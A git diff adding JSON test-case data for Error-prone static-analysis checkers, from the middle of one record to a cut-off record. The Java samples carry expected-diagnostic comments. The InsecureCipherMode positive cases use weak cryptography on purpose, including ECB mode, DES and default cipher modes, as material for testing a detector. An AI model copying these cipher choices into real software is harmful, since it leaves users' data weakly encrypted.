x) {}\n\n static void f() {\n // BUG: Diagnostic contains:\n Test.f();\n }\n\n static void instanceF() {\n // BUG: Diagnostic contains:\n new Test().instanceF();\n }\n\n static void subclassF() {\n // BUG: Diagnostic contains:\n Subclass.subclassF();\n }\n\n static int g() {\n return 0;\n }\n\n static int g(int x) {\n // BUG: Diagnostic contains:\n return Test.g(x);\n }\n\n class Subclass extends Test {}\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 147 + ], + "code": "class Test {\n void f(int x) {}\n\n void f() {\n f(42);\n }\n\n int g() {\n return 0;\n }\n\n int g(int x) {\n return x == 0 ? g() : g(x - 1);\n }\n }" + }, + { + "description": "positiveMultipleStatementsNotFirst", + "expected-problems": null, + "expected-linenumbers": [ + 172 + ], + "code": "class Test {\n Test f() {\n new Test();\n // BUG: Diagnostic contains:\n f();\n return this;\n }\n }" + }, + { + "description": "negativeDelegate", + "expected-problems": null, + "expected-linenumbers": [ + 190 + ], + "code": "class Test {\n Test test;\n\n void f() {\n test.f();\n }\n }" + }, + { + "description": "positiveDelegateCannotBeOverridden", + "expected-problems": null, + "expected-linenumbers": [ + 207 + ], + "code": "final class Test {\n Test test;\n\n void f() {\n // BUG: Diagnostic contains:\n test.f();\n }\n }" + }, + { + "description": "negativeAfterReturn", + "expected-problems": null, + "expected-linenumbers": [ + 225 + ], + "code": "final class Test {\n void f(boolean callAgain) {\n if (!callAgain) {\n return;\n }\n f(false);\n }\n }" + }, + { + "description": "positiveBeforeReturn", + "expected-problems": null, + "expected-linenumbers": [ + 243 + ], + "code": "final class Test {\n void f(boolean callAgain) {\n // BUG: Diagnostic contains:\n f(false);\n if (!callAgain) {\n return;\n }\n }\n }" + }, + { + "description": "negativeIfConditional", + "expected-problems": null, + "expected-linenumbers": [ + 262 + ], + "code": "final class Test {\n void f(boolean callAgain) {\n if (callAgain) {\n f(false);\n }\n }\n }" + }, + { + "description": "negativeSwitchStatementConditional", + "expected-problems": null, + "expected-linenumbers": [ + 279 + ], + "code": "final class Test {\n void f(CallAgain callAgain) {\n switch (callAgain) {\n case TRUE:\n f(CallAgain.FALSE);\n }\n }\n\n enum CallAgain {\n TRUE,\n FALSE,\n }\n }" + }, + { + "description": "negativeSwitchExpressionConditional", + "expected-problems": null, + "expected-linenumbers": [ + 302 + ], + "code": "final class Test {\n int f(CallAgain callAgain) {\n return switch (callAgain) {\n case TRUE -> f(CallAgain.FALSE) + 1;\n case FALSE -> 0;\n };\n }\n\n enum CallAgain {\n TRUE,\n FALSE,\n }\n }" + }, + { + "description": "negativeNestedClass", + "expected-problems": null, + "expected-linenumbers": [ + 325 + ], + "code": "final class Test {\n void f() {\n new Object() {\n void g() {\n f();\n }\n };\n }\n }" + }, + { + "description": "positiveAfterNestedClass", + "expected-problems": null, + "expected-linenumbers": [ + 344 + ], + "code": "final class Test {\n void f() {\n new Object() {\n void g() {\n f();\n return;\n }\n };\n // BUG: Diagnostic contains:\n f();\n }\n }" + }, + { + "description": "negativeLambda", + "expected-problems": null, + "expected-linenumbers": [ + 366 + ], + "code": "final class Test {\n Runnable f() {\n return () -> f();\n }\n }" + }, + { + "description": "positiveGeneric", + "expected-problems": null, + "expected-linenumbers": [ + 381 + ], + "code": "class Test {\n void f(T x) {\n // BUG: Diagnostic contains:\n this.f(\"\");\n }\n\n void g(X x) {\n // BUG: Diagnostic contains:\n g(null);\n }\n }" + }, + { + "description": "positiveCast", + "expected-problems": null, + "expected-linenumbers": [ + 402 + ], + "code": "class Test {\n String overrideOfSomeMethodThatReturnsObject() {\n // BUG: Diagnostic contains:\n return (String) overrideOfSomeMethodThatReturnsObject();\n }\n }" + }, + { + "description": "positiveCastWithParens", + "expected-problems": null, + "expected-linenumbers": [ + 418 + ], + "code": "class Test {\n String overrideOfSomeMethodThatReturnsObject() {\n // BUG: Diagnostic contains:\n return (String) (overrideOfSomeMethodThatReturnsObject());\n }\n }" + }, + { + "description": "overload", + "expected-problems": null, + "expected-linenumbers": [ + 434 + ], + "code": "class Test {\n public void f(String s) {\n f((Object) s);\n }\n\n public void f(Object o) {\n // BUG: Diagnostic contains:\n f(o);\n }\n }" + }, + { + "description": "abstractMethod", + "expected-problems": null, + "expected-linenumbers": [ + 454 + ], + "code": "abstract class Test {\n abstract void f();\n }" + }, + { + "description": "positiveBinaryLeftHandSide", + "expected-problems": null, + "expected-linenumbers": [ + 467 + ], + "code": "final class Test {\n Test next;\n boolean nextIsCool;\n\n boolean isCool(boolean thisIsCool) {\n // BUG: Diagnostic contains:\n return next.isCool(nextIsCool) || thisIsCool;\n }\n }" + }, + { + "description": "negativeBinaryRightHandSide", + "expected-problems": null, + "expected-linenumbers": [ + 486 + ], + "code": "final class Test {\n Test next;\n boolean nextIsCool;\n\n boolean isCool(boolean thisIsCool) {\n return thisIsCool || next.isCool(thisIsCool);\n }\n }" + }, + { + "description": "positiveBinaryRightHandSideNotConditional", + "expected-problems": null, + "expected-linenumbers": [ + 504 + ], + "code": "class Test {\n String asString() {\n // BUG: Diagnostic contains:\n return '{' + asString() + '}';\n }\n }" + }, + { + "description": "positiveCatchAndReturnDoesNotMakeItSafe", + "expected-problems": null, + "expected-linenumbers": [ + 520 + ], + "code": "final class Test {\n void f() {\n try {\n System.out.println(\"hi\");\n } catch (Exception e) {\n return;\n }\n // BUG: Diagnostic contains:\n f();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InitializeInline.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InitializeInline.json new file mode 100644 index 0000000..af1c4f0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InitializeInline.json @@ -0,0 +1,54 @@ +{ + "name": "InitializeInline", + "language": "java", + "description": "Initializing variables in their declaring statement is clearer, where possible.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 90, + "branches": 7, + "apis": 1, + "test": [ + { + "description": "simple", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "class Test {\n void test() {\n int a;\n a = 1;\n final int b;\n b = 1;\n }\n }\n \n\n class Test {\n void test() {\n int a = 1;\n final int b = 1;\n }\n }" + }, + { + "description": "multipleAssignment_noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 58 + ], + "code": "class Test {\n void test() {\n int a;\n a = 1;\n a = 2;\n }\n }" + }, + { + "description": "multipleAssignment_withinBlock", + "expected-problems": null, + "expected-linenumbers": [ + 76 + ], + "code": "class Test {\n int test() {\n int a;\n if (true) {\n a = 1;\n return a;\n }\n a = 2;\n return a;\n }\n }" + }, + { + "description": "assignedWithinTry_noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 98 + ], + "code": "class Test {\n int test() {\n int c;\n try {\n c = 1;\n } catch (Exception e) {\n throw e;\n }\n return c;\n }\n }" + }, + { + "description": "unstylishBlocks", + "expected-problems": null, + "expected-linenumbers": [ + 120 + ], + "code": "class Test {\n int test() {\n int c;\n if (hashCode() == 0) c = 1;\n else c = 2;\n return c;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InjectOnBugCheckers.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InjectOnBugCheckers.json new file mode 100644 index 0000000..1912fa3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InjectOnBugCheckers.json @@ -0,0 +1,46 @@ +{ + "name": "InjectOnBugCheckers", + "language": "java", + "description": "BugChecker constructors should be marked @Inject.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 69, + "branches": 6, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "import com.google.errorprone.BugPattern;\n import com.google.errorprone.ErrorProneFlags;\n import com.google.errorprone.bugpatterns.BugChecker;\n\n @BugPattern(summary = \"\", severity = BugPattern.SeverityLevel.WARNING)\n public class Test extends BugChecker {\n // BUG: Diagnostic contains: @Inject\n public Test(ErrorProneFlags f) {}\n }" + }, + { + "description": "notTheActualBugPattern_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 48 + ], + "code": "import com.google.errorprone.ErrorProneFlags;\n import com.google.errorprone.bugpatterns.BugChecker;\n\n public class Test extends BugChecker {\n public Test(ErrorProneFlags f) {}\n }" + }, + { + "description": "zeroArgConstructor_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 64 + ], + "code": "import com.google.errorprone.BugPattern;\n import com.google.errorprone.bugpatterns.BugChecker;\n\n @BugPattern(summary = \"\", severity = BugPattern.SeverityLevel.WARNING)\n public class Test extends BugChecker {\n public Test() {}\n }" + }, + { + "description": "alreadyAnnotated_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 81 + ], + "code": "import com.google.errorprone.BugPattern;\n import com.google.errorprone.ErrorProneFlags;\n import com.google.errorprone.bugpatterns.BugChecker;\n import javax.inject.Inject;\n\n @BugPattern(summary = \"\", severity = BugPattern.SeverityLevel.WARNING)\n public class Test extends BugChecker {\n @Inject\n public Test(ErrorProneFlags f) {}\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InlineTrivialConstant.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InlineTrivialConstant.json new file mode 100644 index 0000000..63d784f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InlineTrivialConstant.json @@ -0,0 +1,30 @@ +{ + "name": "InlineTrivialConstant", + "language": "java", + "description": "Consider inlining this constant", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 121, + "branches": 10, + "apis": 3, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 27 + ], + "code": "class Test {\n private static final String EMPTY_STRING = \"\";\n\n void f() {\n System.err.println(EMPTY_STRING);\n }\n }\n \n\n class Test {\n void f() {\n System.err.println(\"\");\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 53 + ], + "code": "class Test {\n static class NonPrivate {\n static final String EMPTY_STRING = \"\";\n }\n\n static class NonStatic {\n private final String EMPTY_STRING = \"\";\n }\n\n static class NonFinal {\n private static String EMPTY_STRING = \"\";\n }\n\n static class NonString {\n private static final Object EMPTY_STRING = \"\";\n }\n\n static class WrongName {\n private static final String LAUNCH_CODES = \"\";\n }\n\n static class WrongValue {\n private static final String EMPTY_STRING = \"hello\";\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InputStreamSlowMultibyteRead.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InputStreamSlowMultibyteRead.json new file mode 100644 index 0000000..93105d7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InputStreamSlowMultibyteRead.json @@ -0,0 +1,78 @@ +{ + "name": "InputStreamSlowMultibyteRead", + "language": "java", + "description": "Please also override int read(byte[], int, int), otherwise multi-byte reads from this input stream are likely to be slow.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 108, + "branches": 8, + "apis": 1, + "test": [ + { + "description": "doingItRight", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "class TestClass extends java.io.InputStream {\n byte[] buf = new byte[42];\n\n public int read(byte[] b, int a, int c) {\n return 0;\n }\n\n public int read() {\n return buf[0];\n }\n }" + }, + { + "description": "basic", + "expected-problems": null, + "expected-linenumbers": [ + 51 + ], + "code": "class TestClass extends java.io.InputStream {\n byte[] buf = new byte[42];\n\n // BUG: Diagnostic contains:\n public int read() {\n return buf[0];\n }\n }" + }, + { + "description": "abstractOverride", + "expected-problems": null, + "expected-linenumbers": [ + 69 + ], + "code": "abstract class TestClass extends java.io.InputStream {\n // BUG: Diagnostic contains:\n public abstract int read();\n }" + }, + { + "description": "nativeOverride", + "expected-problems": null, + "expected-linenumbers": [ + 83 + ], + "code": "abstract class TestClass extends java.io.InputStream {\n // BUG: Diagnostic contains:\n public native int read();\n }" + }, + { + "description": "dummyStreamIgnored", + "expected-problems": null, + "expected-linenumbers": [ + 97 + ], + "code": "class TestClass extends java.io.InputStream {\n public int read() {\n return 0;\n }\n }" + }, + { + "description": "inherited", + "expected-problems": null, + "expected-linenumbers": [ + 114 + ], + "code": "abstract class Super extends java.io.InputStream {\n public int read(byte[] b, int a, int c) {\n return 0;\n }\n }\n \n\n class TestClass extends Super {\n byte[] buf = new byte[42];\n\n // BUG: Diagnostic contains:\n public int read() {\n return buf[0];\n }\n }" + }, + { + "description": "junit3TestIgnored", + "expected-problems": null, + "expected-linenumbers": [ + 141 + ], + "code": "class TestClass extends junit.framework.TestCase {\n static class SomeStream extends java.io.InputStream {\n byte[] buf = new byte[42];\n\n public int read() {\n return buf[0];\n }\n }\n }" + }, + { + "description": "junit4TestIgnored", + "expected-problems": null, + "expected-linenumbers": [ + 160 + ], + "code": "@org.junit.runner.RunWith(org.junit.runners.JUnit4.class)\n class TestClass {\n static class SomeStream extends java.io.InputStream {\n byte[] buf = new byte[42];\n\n public int read() {\n return buf[0];\n }\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InsecureCipherMode.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InsecureCipherMode.json new file mode 100644 index 0000000..ea4fb6d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InsecureCipherMode.json @@ -0,0 +1,30 @@ +{ + "name": "InsecureCipherMode", + "language": "java", + "description": "A standard cryptographic operation is used in a mode that is prone to vulnerabilities", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 106, + "branches": 16, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport java.security.KeyFactory;\nimport java.security.KeyPairGenerator;\nimport java.security.NoSuchAlgorithmException;\nimport java.security.NoSuchProviderException;\nimport javax.crypto.Cipher;\nimport javax.crypto.KeyAgreement;\nimport javax.crypto.NoSuchPaddingException;\n\n/**\n * @author avenet@google.com (Arnaud J. Venet)\n */\npublic class InsecureCipherModePositiveCases {\n static Cipher defaultAesCipher;\n\n static {\n try {\n // BUG: Diagnostic contains: the mode and padding must be explicitly specified\n defaultAesCipher = Cipher.getInstance(\"AES\");\n } catch (NoSuchAlgorithmException e) {\n // We don't handle any exception as this code is not meant to be executed.\n } catch (NoSuchPaddingException e) {\n // We don't handle any exception as this code is not meant to be executed.\n }\n }\n\n static Cipher defaultRsaCipher;\n\n static {\n try {\n // BUG: Diagnostic contains: the mode and padding must be explicitly specified\n defaultRsaCipher = Cipher.getInstance(\"RSA\");\n } catch (NoSuchAlgorithmException e) {\n // We don't handle any exception as this code is not meant to be executed.\n } catch (NoSuchPaddingException e) {\n // We don't handle any exception as this code is not meant to be executed.\n }\n }\n\n static final String AES_STRING = \"AES\";\n static Cipher defaultAesCipherWithConstantString;\n\n static {\n try {\n // BUG: Diagnostic contains: the mode and padding must be explicitly specified\n defaultAesCipherWithConstantString = Cipher.getInstance(AES_STRING);\n } catch (NoSuchAlgorithmException e) {\n // We don't handle any exception as this code is not meant to be executed.\n } catch (NoSuchPaddingException e) {\n // We don't handle any exception as this code is not meant to be executed.\n }\n }\n\n static Cipher explicitAesCipher;\n\n static {\n try {\n // BUG: Diagnostic contains: ECB mode must not be used\n explicitAesCipher = Cipher.getInstance(\"AES/ECB/NoPadding\");\n } catch (NoSuchAlgorithmException e) {\n // We don't handle any exception as this code is not meant to be executed.\n } catch (NoSuchPaddingException e) {\n // We don't handle any exception as this code is not meant to be executed.\n }\n }\n\n static Cipher explicitDesCipher;\n\n static {\n try {\n // BUG: Diagnostic contains: ECB mode must not be used\n explicitDesCipher = Cipher.getInstance(\"DES/ECB/NoPadding\");\n } catch (NoSuchAlgorithmException e) {\n // We don't handle any exception as this code is not meant to be executed.\n } catch (NoSuchPaddingException e) {\n // We don't handle any exception as this code is not meant to be executed.\n }\n }\n\n static Cipher explicitDesCipherWithProvider;\n\n static {\n try {\n // BUG: Diagnostic contains: ECB mode must not be used\n explicitDesCipherWithProvider = Cipher.getInstance(\"DES/ECB/NoPadding\", \"My Provider\");\n } catch (NoSuchAlgorithmException e) {\n // We don't handle any exception as this code is not meant to be executed.\n } catch (NoSuchPaddingException e) {\n // We don't handle any exception as this code is not meant to be executed.\n } catch (NoSuchProviderException e) {\n // We don't handle any exception as this code is not meant to be executed.\n }\n }\n\n static String transformation;\n\n static {\n try {\n transformation = \"DES/CBC/NoPadding\";\n // BUG: Diagnostic contains: the transformation is not a compile-time constant\n Cipher cipher = Cipher.getInstance(transformation);\n } catch (NoSuchAlgorithmException e) {\n // We don't handle any exception as this code is not meant to be executed.\n } catch (NoSuchPaddingException e) {\n // We don't handle any exception as this code is not meant to be executed.\n }\n }\n\n static void transformationAsParameter(String transformation) {\n try {\n // BUG: Diagnostic contains: the transformation is not a compile-time constant\n Cipher cipher = Cipher.getInstance(transformation);\n } catch (NoSuchAlgorithmException e) {\n // We don't handle any exception as this code is not meant to be executed.\n } catch (NoSuchPaddingException e) {\n // We don't handle any exception as this code is not meant to be executed.\n }\n }\n\n class CipherWrapper {\n Cipher cipher;\n\n // Make sure that the checker is enabled inside constructors.\n public CipherWrapper() {\n try {\n // BUG: Diagnostic contains: the mode and padding must be explicitly specified\n cipher = Cipher.getInstance(\"AES\");\n } catch (NoSuchAlgorithmException e) {\n // We don't handle any exception as this code is not meant to be executed.\n } catch (NoSuchPaddingException e) {\n // We don't handle any exception as this code is not meant to be executed.\n }\n }\n }\n\n static Cipher complexCipher1;\n\n static {\n try {\n String algorithm = \"AES\";\n // BUG: Diagnostic contains: the transformation is not a compile-time constant\n complexCipher1 = Cipher.getInstance(algorithm);\n } catch (NoSuchAlgorithmException e) {\n // We don't handle any exception as this code is not meant to be executed.\n } catch (NoSuchPaddingException e) {\n // We don't handle any exception as this code is not meant to be executed.\n }\n }\n\n static Cipher complexCipher2;\n\n static {\n try {\n String transformation = \"AES\";\n transformation += \"/ECB\";\n transformation += \"/NoPadding\";\n // BUG: Diagnostic contains: the transformation is not a compile-time constant\n complexCipher2 = Cipher.getInstance(transformation);\n } catch (NoSuchAlgorithmException e) {\n // We don't handle any exception as this code is not meant to be executed.\n } catch (NoSuchPaddingException e) {\n // We don't handle any exception as this code is not meant to be executed.\n }\n }\n\n static Cipher IesCipher;\n\n static {\n try {\n // BUG: Diagnostic contains: the mode and padding must be explicitly specified\n IesCipher = Cipher.getInstance(\"ECIES\");\n // BUG: Diagnostic contains: IES\n IesCipher = Cipher.getInstance(\"ECIES/DHAES/NoPadding\");\n // BUG: Diagnostic contains: IES\n IesCipher = Cipher.getInstance(\"ECIESWITHAES/NONE/PKCS5Padding\");\n // BUG: Diagnostic contains: IES\n IesCipher = Cipher.getInstance(\"DHIESWITHAES/DHAES/PKCS7Padding\");\n // BUG: Diagnostic contains: IES\n IesCipher = Cipher.getInstance(\"ECIESWITHDESEDE/NONE/NOPADDING\");\n // BUG: Diagnostic contains: IES\n IesCipher = Cipher.getInstance(\"DHIESWITHDESEDE/DHAES/PKCS5PADDING\");\n // BUG: Diagnostic contains: IES\n IesCipher = Cipher.getInstance(\"ECIESWITHAES/CBC/PKCS7PADDING\");\n // BUG: Diagnostic contains: IES\n IesCipher = Cipher.getInstance(\"ECIESWITHAES-CBC/NONE/PKCS5PADDING\");\n // BUG: Diagnostic contains: IES\n IesCipher = Cipher.getInstance(\"ECIESwithDESEDE-CBC/DHAES/NOPADDING\");\n\n } catch (NoSuchAlgorithmException e) {\n // We don't handle any exception as this code is not meant to be executed.\n } catch (NoSuchPaddingException e) {\n // We don't handle any exception as this code is not meant to be executed.\n }\n }\n\n interface StringProvider {\n String get();\n }\n\n public void keyOperations(StringProvider provider) {\n KeyFactory keyFactory;\n KeyAgreement keyAgreement;\n KeyPairGenerator keyPairGenerator;\n final String dh = \"DH\";\n try {\n // BUG: Diagnostic contains: compile-time constant\n keyFactory = KeyFactory.getInstance(provider.get());\n // BUG: Diagnostic contains: Diffie-Hellman on prime fields\n keyFactory = KeyFactory.getInstance(dh);\n // BUG: Diagnostic contains: DSA\n keyAgreement = KeyAgreement.getInstance(\"DSA\");\n // BUG: Diagnostic contains: compile-time constant\n keyAgreement = KeyAgreement.getInstance(provider.get());\n // BUG: Diagnostic contains: Diffie-Hellman on prime fields\n keyPairGenerator = KeyPairGenerator.getInstance(dh);\n // BUG: Diagnostic contains: compile-time constant\n keyPairGenerator = KeyPairGenerator.getInstance(provider.get());\n } catch (NoSuchAlgorithmException e) {\n // We don't handle any exception as this code is not meant to be executed.\n }\n }\n}\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 265 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport java.security.KeyFactory;\nimport java.security.KeyPairGenerator;\nimport java.security.NoSuchAlgorithmException;\nimport java.security.NoSuchProviderException;\nimport javax.crypto.Cipher;\nimport javax.crypto.KeyAgreement;\nimport javax.crypto.NoSuchPaddingException;\n\n/**\n * @author avenet@google.com (Arnaud J. Venet)\n */\npublic class InsecureCipherModeNegativeCases {\n static Cipher aesCipher;\n\n static {\n // We don't handle any exception as this code is not meant to be executed.\n try {\n aesCipher = Cipher.getInstance(\"AES/CBC/NoPadding\");\n } catch (NoSuchAlgorithmException e) {\n // We don't handle any exception as this code is not meant to be executed.\n } catch (NoSuchPaddingException e) {\n // We don't handle any exception as this code is not meant to be executed.\n }\n }\n\n static final String AES_STRING = \"AES/CBC/NoPadding\";\n static Cipher aesCipherWithConstantString;\n\n static {\n try {\n aesCipherWithConstantString = Cipher.getInstance(AES_STRING);\n } catch (NoSuchAlgorithmException e) {\n // We don't handle any exception as this code is not meant to be executed.\n } catch (NoSuchPaddingException e) {\n // We don't handle any exception as this code is not meant to be executed.\n }\n }\n\n static Cipher aesCipherWithProvider;\n\n static {\n try {\n aesCipherWithProvider = Cipher.getInstance(\"AES/CBC/NoPadding\", \"My Provider\");\n } catch (NoSuchAlgorithmException e) {\n // We don't handle any exception as this code is not meant to be executed.\n } catch (NoSuchPaddingException e) {\n // We don't handle any exception as this code is not meant to be executed.\n } catch (NoSuchProviderException e) {\n // We don't handle any exception as this code is not meant to be executed.\n }\n }\n\n static Cipher arc4CipherConscrypt;\n\n static {\n try {\n arc4CipherConscrypt = Cipher.getInstance(\"ARC4\", \"Conscrypt\");\n } catch (NoSuchAlgorithmException e) {\n // We don't handle any exception as this code is not meant to be executed.\n } catch (NoSuchPaddingException e) {\n // We don't handle any exception as this code is not meant to be executed.\n } catch (NoSuchProviderException e) {\n // We don't handle any exception as this code is not meant to be executed.\n }\n }\n\n static Cipher rc4CipherJsch;\n\n static {\n try {\n rc4CipherJsch = Cipher.getInstance(\"RC4\", \"JSch\");\n } catch (NoSuchAlgorithmException e) {\n // We don't handle any exception as this code is not meant to be executed.\n } catch (NoSuchPaddingException e) {\n // We don't handle any exception as this code is not meant to be executed.\n } catch (NoSuchProviderException e) {\n // We don't handle any exception as this code is not meant to be executed.\n }\n }\n\n static Cipher arcfourCipherSunJce;\n\n static {\n try {\n arcfourCipherSunJce = Cipher.getInstance(\"ARCFOUR/ECB/NoPadding\");\n } catch (NoSuchAlgorithmException e) {\n // We don't handle any exception as this code is not meant to be executed.\n } catch (NoSuchPaddingException e) {\n // We don't handle any exception as this code is not meant to be executed.\n }\n }\n\n static Cipher desCipher;\n\n static {\n try {\n desCipher = Cipher.getInstance(\"DES/CBC/NoPadding\");\n } catch (NoSuchAlgorithmException e) {\n // We don't handle any exception as this code is not meant to be executed.\n } catch (NoSuchPaddingException e) {\n // We don't handle any exception as this code is not meant to be executed.\n }\n }\n\n static Cipher rsaCipher;\n\n static {\n try {\n rsaCipher = Cipher.getInstance(\"RSA/ECB/PKCS1Padding\");\n } catch (NoSuchAlgorithmException e) {\n // We don't handle any exception as this code is not meant to be executed.\n } catch (NoSuchPaddingException e) {\n // We don't handle any exception as this code is not meant to be executed.\n }\n }\n\n static Cipher aesWrapCipher;\n\n static {\n try {\n aesWrapCipher = Cipher.getInstance(\"AESWrap/ECB/NoPadding\");\n } catch (NoSuchAlgorithmException e) {\n // We don't handle any exception as this code is not meant to be executed.\n } catch (NoSuchPaddingException e) {\n // We don't handle any exception as this code is not meant to be executed.\n }\n }\n\n public void ellipticCurveDiffieHellman() {\n KeyFactory keyFactory;\n KeyAgreement keyAgreement;\n KeyPairGenerator keyPairGenerator;\n final String ecdh = \"ECDH\";\n try {\n keyFactory = KeyFactory.getInstance(ecdh);\n keyAgreement = KeyAgreement.getInstance(\"ECDH\");\n keyPairGenerator = KeyPairGenerator.getInstance(\"EC\" + \"DH\");\n } catch (NoSuchAlgorithmException e) {\n // We don't handle any exception as this code is not meant to be executed.\n }\n }\n}\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InstanceOfAndCastMatchWrongType.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InstanceOfAndCastMatchWrongType.json new file mode 100644 index 0000000..b8af483 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InstanceOfAndCastMatchWrongType.json @@ -0,0 +1,54 @@ +{ + "name": "InstanceOfAndCastMatchWrongType", + "language": "java", + "description": "Casting inside an if block should be plausibly consistent with the instanceof type", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 185, + "branches": 27, + "apis": 4, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * Created by sulku and mariasam on 6/6/17.\n *\n * @author mariasam (Maria Sam)\n * @author sulku (Marsela Sulku)\n */\n public class InstanceOfAndCastMatchWrongTypePositiveCases {\n\n private static void basicIllegalCast(Object foo2) {\n if (foo2 instanceof SuperClass) {\n // BUG: Diagnostic contains: Casting inside\n String str = ((String) foo2).toString();\n }\n }\n\n private static void basicIllegalCastJavaClass(Object foo2) {\n if (foo2 instanceof String) {\n // BUG: Diagnostic contains: Casting inside\n double val = ((Integer) foo2).doubleValue();\n }\n }\n\n private static void andsInIf(Object foo2) {\n if (foo2 instanceof String && 7 == 7) {\n // BUG: Diagnostic contains: Casting inside\n double val = ((Integer) foo2).doubleValue();\n }\n }\n\n private static void andsInIfInstanceOfLast(Object foo2) {\n if (7 == 7 && foo2 instanceof String) {\n // BUG: Diagnostic contains: Casting inside\n double val = ((Integer) foo2).doubleValue();\n }\n }\n\n private static void andsInIfInstanceOfMiddle(Object foo2) {\n if (7 == 7 && foo2 instanceof String && 8 == 8) {\n // BUG: Diagnostic contains: Casting inside\n double val = ((Integer) foo2).doubleValue();\n }\n }\n\n private static void castingInIfWithElse(Object foo2) {\n if (foo2 instanceof String) {\n // BUG: Diagnostic contains: Casting inside\n String str = ((Integer) foo2).toString();\n } else {\n String str = \"\";\n }\n }\n\n private static void castMultipleInIfAndElse(Object foo2, Object foo3) {\n if (foo2 instanceof String) {\n String str = ((Integer) foo3).toString();\n // BUG: Diagnostic contains: Casting inside\n String str2 = ((Integer) foo2).toString();\n } else {\n String str = ((Integer) foo3).toString();\n String str2 = \"\";\n }\n }\n\n private static void multipleAndsInIf(Object foo2) {\n // BUG: Diagnostic contains: Casting inside\n if (7 == 7 && (foo2 instanceof SuperClass) && (((String) foo2).equals(\"\"))) {\n String str = \"\";\n }\n }\n\n private static void castOneObjectWithMultipleObjectsInIf(Object foo2, Object foo3) {\n if (7 == 7 && foo3 instanceof String && foo2 instanceof String) {\n // BUG: Diagnostic contains: Casting inside\n String str = ((Integer) foo2).toString();\n }\n }\n\n private static void aboveTestButDifferentOrder(Object foo2, Object foo3) {\n if (7 == 7 && foo2 instanceof String && foo3 instanceof String) {\n // BUG: Diagnostic contains: Casting inside\n String str = ((Integer) foo2).toString();\n }\n }\n\n private static void nestedIf(Object foo2) {\n if (foo2 instanceof String) {\n if (7 == 7) {\n // BUG: Diagnostic contains: Casting inside\n String str = ((Integer) foo2).toString();\n }\n }\n }\n\n private static void nestedIfWithElse(Object foo2) {\n if (foo2 instanceof String) {\n if (7 == 7) {\n String str = \"\";\n } else {\n // BUG: Diagnostic contains: Casting inside\n String str = ((Integer) foo2).toString();\n }\n }\n }\n\n private static void assignmentInBlockDiffVariable(Object foo2) {\n String foo1;\n if (foo2 instanceof SuperClass) {\n foo1 = \"\";\n // BUG: Diagnostic contains: Casting inside\n String str = ((Integer) foo2).toString();\n }\n }\n\n private static void assignmentInBlock(Object foo2) {\n if (foo2 instanceof SuperClass) {\n // BUG: Diagnostic contains: Casting inside\n String str = ((Integer) foo2).toString();\n foo2 = \"\";\n }\n }\n\n private static void assignmentInBlockTwice(Object foo2) {\n Object foo1 = null;\n if (foo2 instanceof SuperClass) {\n foo1 = \"\";\n // BUG: Diagnostic contains: Casting inside\n String str = ((Integer) foo2).toString();\n foo2 = \"\";\n }\n }\n\n private static void testSameClass(Object foo) {\n if (foo instanceof String) {\n InstanceOfAndCastMatchWrongTypePositiveCases other =\n // BUG: Diagnostic contains: Casting inside\n (InstanceOfAndCastMatchWrongTypePositiveCases) foo;\n }\n }\n\n private static void testElseIf(Object foo) {\n if (foo instanceof String) {\n String str = (String) foo;\n } else if (foo instanceof String) {\n // BUG: Diagnostic contains: Casting inside\n Integer i = (Integer) foo;\n } else {\n foo = 